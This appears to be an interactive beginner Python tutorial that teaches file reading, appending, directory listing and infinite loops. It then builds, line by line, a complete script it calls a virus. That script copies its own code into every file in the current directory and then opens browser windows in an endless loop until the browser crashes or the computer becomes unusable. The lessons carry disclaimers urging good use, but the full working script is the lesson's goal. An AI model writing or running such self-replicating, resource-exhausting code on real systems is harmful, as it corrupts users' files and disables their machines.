Let's learn some basic tools for programming a virus.
We'll manage files and code infinite loops using the Python programming language.
If you know how variables and loops work in another programming language, you have the knowledge to follow along.
Let's dive straight into Python by creating a variable. Variables in Python don't require a keyword.
Let's create a statement
variable and give it an initial value using the equal sign (=
).
statement = "I will not use my virus knowledge for evil." print(statement)
//Output Below
I will not use my virus knowledge for evil.
That's right! We'll use variables to store the location of files later.
In Python, we use print()
to print values to the console. Let's give it a try.
statement = "Learn about viruses for good." print(statement)
//Output Below
Learn about viruses for good.
Great work! Printing values to the console will help understand what files we're accessing later on.
One way to really annoy someone with a virus is by creating an infinite loop.
In Python, we can create an infinite loop with while True:
. Meaning the code will execute while True
is True
.
while True: print("This will never end.")
//Output Below
... This will never end. This will never end. This will never end.
Nice job! This infinite loop won't stop printing This will never end.
.
We know creating, updating, and deleting files can make malware very destructive.
Let's see how programmers do those things in Python so you get the basics down for understanding how viruses are created.
To create a new file, we useopen()
and place the file name as a string between the parentheses (()
).
Let's create a new Python file named code.py
.
python_file = open("code.py")
Nice! open("code.py")
created a new file named code.py
in the current directory.
Since attaching viruses to programs is common, let's open a file to append code to it.
Opening a file so we can append to it is done by adding a comma (,
) and "a"
inside the parentheses of open()
.
python_file = open("code.py", "a")
Awesome! We can now write inside the code.py
file.
To append actual code to a file, we use .write()
. This adds code without deleting what was previously there.
Let's give .write()
a try by writing a Python comment in the code.py
file.
python_file = open("code.py", "a") python_file.write("## Appending virus code")
Now the file code.py
contains the comment you appended:
## Appending virus code
That's great work!
It's good practice to close any file we open. So the last step in writing code is closing the file with .close()
.
python_file = open("code.py", "a") python_file.write("## Appending virus code") python_file.close()
Great! Now we don't risk leaving the file open and messing with the data if our program runs for a long time.
We can also call .open()
to open an existing file.
Let's try adding another comment to the existing code.py
file.
python_file = open("code.py", "a") python_file.write("## Appending another comment") python_file.close()
Now, instead of creating a new file, you updated the existing code.py
file:
## Appending virus code ## Appending another comment
Great work! To create a new file or open an existing one, use .open()
.
Getting the content of a file is called reading a file.
To read a file, use "r"
instead of "a"
when opening the file.
python_file = open("code.py", "r")
Nice! An easy way to remember is that "r"
stands for read.
To get the content of the file, use .read()
. This reads and returns the content of the file.
python_file = open("code.py", "r") content = python_file.read() print(content) python_file.close()
//Output Below
## Appending virus code ## Appending another comment
See that? Reading a file is how you can get the content of the file. This is why the content
variable holds the content of code.py
.
We learned that malware takes advantage of managing files. This is something the operating system does on your computer.
In Python, we import the operating system library using the import
keyword and os.
import os
That's right! os is short for operating system.
To list all the files in the current directory, we add .listdir()
to os.
import os files = os.listdir() print(files)
//Output Below
['webbrowser.exe', 'code.py']
Great job! In the current directory, there are two files. One named webbrowser.exe
and another name code.py
.
To loop through the files names from os.listdir()
, we can use a for loop.
Let's create a for loop to loop for each file name in os.listdir()
.
import os for file_name in os.listdir() print(file_name)
//Output Below
webbrowser.exe code.py
Sweet! You now have the tools to loop through files in a directory and make changes to them.
If we want to mess with someone's web browser using Python, we can import the webbrowser
library. Let's give it a try.
import webbrowser
Awesome work! Now it's time to do something sneaky.
We can use .open()
to open a website. Try opening https://pywe.org/
.
import webbrowser webbrowser.open("https://pywe.org/")
Awesome work! Python developers try to name things in a way that's easy to remember. So .open()
is used to open a website.
In this lesson, we'll use our knowledge on changing files to code a virus.
We'll create a virus that opens browser windows until the browser crashes or the computer slows down so much it becomes unusable.
We'll also make sure the virus manages to replicate itself into Python files in the current directory.
If you try this on your computer, make sure to create the virus in its own directory, so it doesn't change files you don't want it to.
Take extra care when copying other viruses you find on the internet. Viruses can ruin your computer or make it unsafe to use.
For the virus we're creating we'll be writing code inside virus.py
. We'll work with the assumption that this computer directory is open.
The directory contains three Python files: virus.py
, webbrowser.py
, and editor.py
.
Let's set up our virus by importing the library needed for accessing the operating system.
import os
Great!
Next, let's import the library for accessing the web browser.
import os import webbrowser
Nice!
Let's start working on the code that replicates the virus.
Let's create a variable named virus_file
to access the code we're writing.
import os import webbrowser virus_file
Nice!
Open virus.py
to read the code.
import os import webbrowser virus_file = open("virus.py", "r")
Great work!
By reading virus.py
, we can take the code we're writing and store it in a variable.
Let's create a variable named virus_code
to copy the virus code.
import os import webbrowser virus_file = open("virus.py", "r") virus_code
Great job!
Now let's make sure the virus_code
variable contains the virus code that we're writing inside virus.py
.
import os import webbrowser virus_file = open("virus.py", "r") virus_code = virus_file.read()
Neat!
Let's close the virus file.
import os import webbrowser virus_file = open("virus.py", "r") virus_code = virus_file.read() virus_file.close()
Great work!
Next, we'll loop through the file names in the current directory and copy the virus code to them.
Let's create a for loop to loop through the file names in the current directory.
import os import webbrowser virus_file = open("virus.py", "r") virus_code = virus_file.read() virus_file.close() for file_name in os.listdir():
Awesome!
Let's create a file
variable to temporarily store each file in the current directory.
import os import webbrowser virus_file = open("virus.py", "r") virus_code = virus_file.read() virus_file.close() for file_name in os.listdir(): file
Nice job!
Let's select the correct character to finish opening and appending the virus code to each file.
import os import webbrowser virus_file = open("virus.py", "r") virus_code = virus_file.read() virus_file.close() for file_name in os.listdir(): file = open(file_name, "a")
Sweet!
Let's Append the virus_code
to each file in the current directory.
import os import webbrowser virus_file = open("virus.py", "r") virus_code = virus_file.read() virus_file.close() for file_name in os.listdir(): file = open(file_name, "a") file.write(virus_code)
Awesomesauce!
Let's make sure each file is closed after appending to it.
import os import webbrowser virus_file = open("virus.py", "r") virus_code = virus_file.read() virus_file.close() for file_name in os.listdir(): file = open(file_name, "a") file.write(virus_code) file.close()
Fantastic!
The final part of the virus is the destructive part: the infinite loop.
Let's code the keyword for creating a while loop.
import os import webbrowser ... while
Nice!
Let's make the while loop an infinite loop.
import os import webbrowser ... while True:
Great work!
Let's make this infinite loop destructive by opening websites nonstop.
Open a website inside the infinite loop.
import os import webbrowser ... while True: webbrowser.open("https://pywe.org")
Sweet!
Great work coding your first virus!
Let's see what would happen if we run it.
import os import webbrowser virus_file = open("virus.py", "r") virus_code = virus_file.read() virus_file.close() for file_name in os.listdir(): file = open(file_name, "a") file.write(virus_code) file.close() while True: webbrowser.open( "https://pywe.org" )
The virus would replicate itself into all files in the current directory. This means it will execute anytime one of these files run:
The virus would also open websites until the computer is too slow to use or its web browser crashes.
Make sure to use your knowledge for good!